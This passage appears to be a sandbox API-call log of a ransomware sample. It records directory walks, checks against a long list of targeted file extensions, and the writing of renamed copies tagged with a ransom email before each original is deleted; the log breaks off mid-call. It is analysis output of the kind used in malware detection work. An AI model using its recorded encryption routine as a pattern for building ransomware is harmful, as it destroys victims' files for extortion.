[0057.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0057.309] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=280448) returned 1 [0057.309] CloseHandle (hObject=0x1cc) returned 1 [0057.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0057.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0057.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0057.309] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.309] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0057.677] GetLastError () returned 0x0 [0057.677] ReadFile (in: hFile=0x1cc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x44780, lpOverlapped=0x0) returned 1 [0057.684] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0x44790, lpOverlapped=0x0) returned 1 [0057.691] ReadFile (in: hFile=0x1cc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.691] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.691] SetEndOfFile (hFile=0x214) returned 1 [0057.691] CloseHandle (hObject=0x214) returned 1 [0057.691] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.691] SetEndOfFile (hFile=0x1cc) returned 1 [0057.694] CloseHandle (hObject=0x1cc) returned 1 [0057.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0057.694] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0057.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.694] lstrlenW (lpString=".doc") returned 4 [0057.694] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.694] lstrlenW (lpString=".docx") returned 5 [0057.694] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.694] lstrlenW (lpString=".pdf") returned 4 [0057.694] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.695] lstrlenW (lpString=".xls") returned 4 [0057.695] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.695] lstrlenW (lpString=".xlsx") returned 5 [0057.695] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.695] lstrlenW (lpString=".ppt") returned 4 [0057.695] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.695] lstrlenW (lpString=".zip") returned 4 [0057.695] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.695] lstrlenW (lpString=".rar") returned 4 [0057.695] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.695] lstrlenW (lpString=".bz2") returned 4 [0057.695] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.695] lstrlenW (lpString=".7z") returned 3 [0057.695] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.695] lstrlenW (lpString=".dbf") returned 4 [0057.695] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.695] lstrlenW (lpString=".1cd") returned 4 [0057.695] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.695] lstrlenW (lpString=".jpg") returned 4 [0057.695] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.695] lstrlenW (lpString=".doc") returned 4 [0057.695] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0057.695] lstrlenW (lpString=".docx") returned 5 [0057.695] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0057.695] lstrlenW (lpString=".pdf") returned 4 [0057.695] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0057.695] lstrlenW (lpString=".xls") returned 4 [0057.695] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0057.695] lstrlenW (lpString=".xlsx") returned 5 [0057.696] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0057.696] lstrlenW (lpString=".ppt") returned 4 [0057.696] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0057.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.696] lstrlenW (lpString=".zip") returned 4 [0057.696] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0057.696] lstrlenW (lpString=".rar") returned 4 [0057.696] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0057.696] lstrlenW (lpString=".bz2") returned 4 [0057.696] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0057.696] lstrlenW (lpString=".7z") returned 3 [0057.696] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0057.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.696] lstrlenW (lpString=".dbf") returned 4 [0057.696] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0057.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.696] lstrlenW (lpString=".1cd") returned 4 [0057.696] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0057.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0057.696] lstrlenW (lpString=".jpg") returned 4 [0057.696] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0057.696] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0057.696] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0057.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.176] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=1831424) returned 1 [0058.176] CloseHandle (hObject=0x1a8) returned 1 [0058.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0058.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0058.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0058.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.190] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0058.190] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.190] ReadFile (in: hFile=0x1a8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.194] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.195] ReadFile (in: hFile=0x1a8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.197] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.197] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.197] ReadFile (in: hFile=0x1a8, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.211] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.211] WriteFile (in: hFile=0x1a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0058.234] SetEndOfFile (hFile=0x1a8) Thread: id = 19 os_tid = 0x9dc [0035.577] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x37f02b8 [0035.578] lstrlenW (lpString="C:") returned 2 [0035.578] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a7fd00 | out: lpFindFileData=0x3a7fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x56a2f0 [0035.578] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0035.578] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0035.578] lstrlenW (lpString="$Recycle.Bin") returned 12 [0035.578] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0035.578] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x38002c0 [0035.578] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0035.578] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a330 [0035.578] FindNextFileW (in: hFindFile=0x56a330, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.578] FindNextFileW (in: hFindFile=0x56a330, lpFindFileData=0x3a7fa84 | out: lpFindFileData=0x3a7fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x45b5c880, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x45b5c880, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0035.579] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0035.579] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0035.579] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0035.579] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0035.579] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x38102c8 [0035.579] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0035.579] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x45b5c880, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x45b829e0, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56b378 [0035.579] FindNextFileW (in: hFindFile=0x56b378, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x45b5c880, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x45b829e0, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.579] FindNextFileW (in: hFindFile=0x56b378, lpFindFileData=0x3a7f808 | out: lpFindFileData=0x3a7f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x45b5c880, ftCreationTime.dwHighDateTime=0x1d54a09, ftLastAccessTime.dwLowDateTime=0x45b5c880, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0x45b829e0, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G", cAlternateFileName="DESKTO~1.Q1G")) returned 1 [0035.579] lstrlenW (lpString="desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G") returned 44 [0035.579] lstrlenW (lpString=".1cd") returned 4 [0035.579] lstrcmpiW (lpString1=".1cd", lpString2=".Q1G") returned -1 [0035.579] lstrlenW (lpString=".3ds") returned 4 [0035.579] lstrcmpiW (lpString1=".3ds", lpString2=".Q1G") returned -1 [0035.580] lstrlenW (lpString=".3fr") returned 4 [0035.580] lstrcmpiW (lpString1=".3fr", lpString2=".Q1G") returned -1 [0035.580] lstrlenW (lpString=".3g2") returned 4 [0035.580] lstrcmpiW (lpString1=".3g2", lpString2=".Q1G") returned -1 [0035.580] lstrlenW (lpString=".3gp") returned 4 [0035.580] lstrcmpiW (lpString1=".3gp", lpString2=".Q1G") returned -1 [0035.580] lstrlenW (lpString=".7z") returned 3 [0035.580] lstrcmpiW (lpString1=".7z", lpString2="Q1G") returned -1 [0035.580] lstrlenW (lpString=".accda") returned 6 [0035.580] lstrcmpiW (lpString1=".accda", lpString2="m].Q1G") returned -1 [0035.580] lstrlenW (lpString=".accdb") returned 6 [0035.580] lstrcmpiW (lpString1=".accdb", lpString2="m].Q1G") returned -1 [0035.580] lstrlenW (lpString=".accdc") returned 6 [0035.580] lstrcmpiW (lpString1=".accdc", lpString2="m].Q1G") returned -1 [0035.580] lstrlenW (lpString=".accde") returned 6 [0035.580] lstrcmpiW (lpString1=".accde", lpString2="m].Q1G") returned -1 [0035.580] lstrlenW (lpString=".accdt") returned 6 [0035.580] lstrcmpiW (lpString1=".accdt", lpString2="m].Q1G") returned -1 [0035.580] lstrlenW (lpString=".accdw") returned 6 [0035.580] lstrcmpiW (lpString1=".accdw", lpString2="m].Q1G") returned -1 [0035.580] lstrlenW (lpString=".adb") returned 4 [0035.580] lstrcmpiW (lpString1=".adb", lpString2=".Q1G") returned -1 [0035.580] lstrlenW (lpString=".adp") returned 4 [0035.580] lstrcmpiW (lpString1=".adp", lpString2=".Q1G") returned -1 [0035.580] lstrlenW (lpString=".ai") returned 3 [0035.580] lstrcmpiW (lpString1=".ai", lpString2="Q1G") returned -1 [0035.580] lstrlenW (lpString=".ai3") returned 4 [0035.580] lstrcmpiW (lpString1=".ai3", lpString2=".Q1G") returned -1 [0035.580] lstrlenW (lpString=".ai4") returned 4 [0035.580] lstrcmpiW (lpString1=".ai4", lpString2=".Q1G") returned -1 [0035.580] lstrlenW (lpString=".ai5") returned 4 [0035.581] lstrcmpiW (lpString1=".ai5", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".ai6") returned 4 [0035.581] lstrcmpiW (lpString1=".ai6", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".ai7") returned 4 [0035.581] lstrcmpiW (lpString1=".ai7", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".ai8") returned 4 [0035.581] lstrcmpiW (lpString1=".ai8", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".anim") returned 5 [0035.581] lstrcmpiW (lpString1=".anim", lpString2="].Q1G") returned -1 [0035.581] lstrlenW (lpString=".arw") returned 4 [0035.581] lstrcmpiW (lpString1=".arw", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".as") returned 3 [0035.581] lstrcmpiW (lpString1=".as", lpString2="Q1G") returned -1 [0035.581] lstrlenW (lpString=".asa") returned 4 [0035.581] lstrcmpiW (lpString1=".asa", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".asc") returned 4 [0035.581] lstrcmpiW (lpString1=".asc", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".ascx") returned 5 [0035.581] lstrcmpiW (lpString1=".ascx", lpString2="].Q1G") returned -1 [0035.581] lstrlenW (lpString=".asm") returned 4 [0035.581] lstrcmpiW (lpString1=".asm", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".asmx") returned 5 [0035.581] lstrcmpiW (lpString1=".asmx", lpString2="].Q1G") returned -1 [0035.581] lstrlenW (lpString=".asp") returned 4 [0035.581] lstrcmpiW (lpString1=".asp", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".aspx") returned 5 [0035.581] lstrcmpiW (lpString1=".aspx", lpString2="].Q1G") returned -1 [0035.581] lstrlenW (lpString=".asr") returned 4 [0035.581] lstrcmpiW (lpString1=".asr", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".asx") returned 4 [0035.581] lstrcmpiW (lpString1=".asx", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".avi") returned 4 [0035.581] lstrcmpiW (lpString1=".avi", lpString2=".Q1G") returned -1 [0035.581] lstrlenW (lpString=".avs") returned 4 [0035.582] lstrcmpiW (lpString1=".avs", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".backup") returned 7 [0035.582] lstrcmpiW (lpString1=".backup", lpString2="om].Q1G") returned -1 [0035.582] lstrlenW (lpString=".bak") returned 4 [0035.582] lstrcmpiW (lpString1=".bak", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".bay") returned 4 [0035.582] lstrcmpiW (lpString1=".bay", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".bd") returned 3 [0035.582] lstrcmpiW (lpString1=".bd", lpString2="Q1G") returned -1 [0035.582] lstrlenW (lpString=".bin") returned 4 [0035.582] lstrcmpiW (lpString1=".bin", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".bmp") returned 4 [0035.582] lstrcmpiW (lpString1=".bmp", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".bz2") returned 4 [0035.582] lstrcmpiW (lpString1=".bz2", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".c") returned 2 [0035.582] lstrcmpiW (lpString1=".c", lpString2="1G") returned -1 [0035.582] lstrlenW (lpString=".cdr") returned 4 [0035.582] lstrcmpiW (lpString1=".cdr", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".cer") returned 4 [0035.582] lstrcmpiW (lpString1=".cer", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".cf") returned 3 [0035.582] lstrcmpiW (lpString1=".cf", lpString2="Q1G") returned -1 [0035.582] lstrlenW (lpString=".cfc") returned 4 [0035.582] lstrcmpiW (lpString1=".cfc", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".cfm") returned 4 [0035.582] lstrcmpiW (lpString1=".cfm", lpString2=".Q1G") returned -1 [0035.582] lstrlenW (lpString=".cfml") returned 5 [0035.583] lstrcmpiW (lpString1=".cfml", lpString2="].Q1G") returned -1 [0035.583] lstrlenW (lpString=".cfu") returned 4 [0035.583] lstrcmpiW (lpString1=".cfu", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".chm") returned 4 [0035.583] lstrcmpiW (lpString1=".chm", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".cin") returned 4 [0035.583] lstrcmpiW (lpString1=".cin", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".class") returned 6 [0035.583] lstrcmpiW (lpString1=".class", lpString2="m].Q1G") returned -1 [0035.583] lstrlenW (lpString=".clx") returned 4 [0035.583] lstrcmpiW (lpString1=".clx", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".config") returned 7 [0035.583] lstrcmpiW (lpString1=".config", lpString2="om].Q1G") returned -1 [0035.583] lstrlenW (lpString=".cpp") returned 4 [0035.583] lstrcmpiW (lpString1=".cpp", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".cr2") returned 4 [0035.583] lstrcmpiW (lpString1=".cr2", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".crt") returned 4 [0035.583] lstrcmpiW (lpString1=".crt", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".crw") returned 4 [0035.583] lstrcmpiW (lpString1=".crw", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".cs") returned 3 [0035.583] lstrcmpiW (lpString1=".cs", lpString2="Q1G") returned -1 [0035.583] lstrlenW (lpString=".css") returned 4 [0035.583] lstrcmpiW (lpString1=".css", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".csv") returned 4 [0035.583] lstrcmpiW (lpString1=".csv", lpString2=".Q1G") returned -1 [0035.583] lstrlenW (lpString=".cub") returned 4 [0035.583] lstrcmpiW (lpString1=".cub", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dae") returned 4 [0035.584] lstrcmpiW (lpString1=".dae", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dat") returned 4 [0035.584] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".db") returned 3 [0035.584] lstrcmpiW (lpString1=".db", lpString2="Q1G") returned -1 [0035.584] lstrlenW (lpString=".dbf") returned 4 [0035.584] lstrcmpiW (lpString1=".dbf", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dbx") returned 4 [0035.584] lstrcmpiW (lpString1=".dbx", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dc3") returned 4 [0035.584] lstrcmpiW (lpString1=".dc3", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dcm") returned 4 [0035.584] lstrcmpiW (lpString1=".dcm", lpString2=".Q1G") returned -1 [0035.584] lstrlenW (lpString=".dcr") returned 4 [0035.584] lstrcmpiW (lpString1=".dcr", 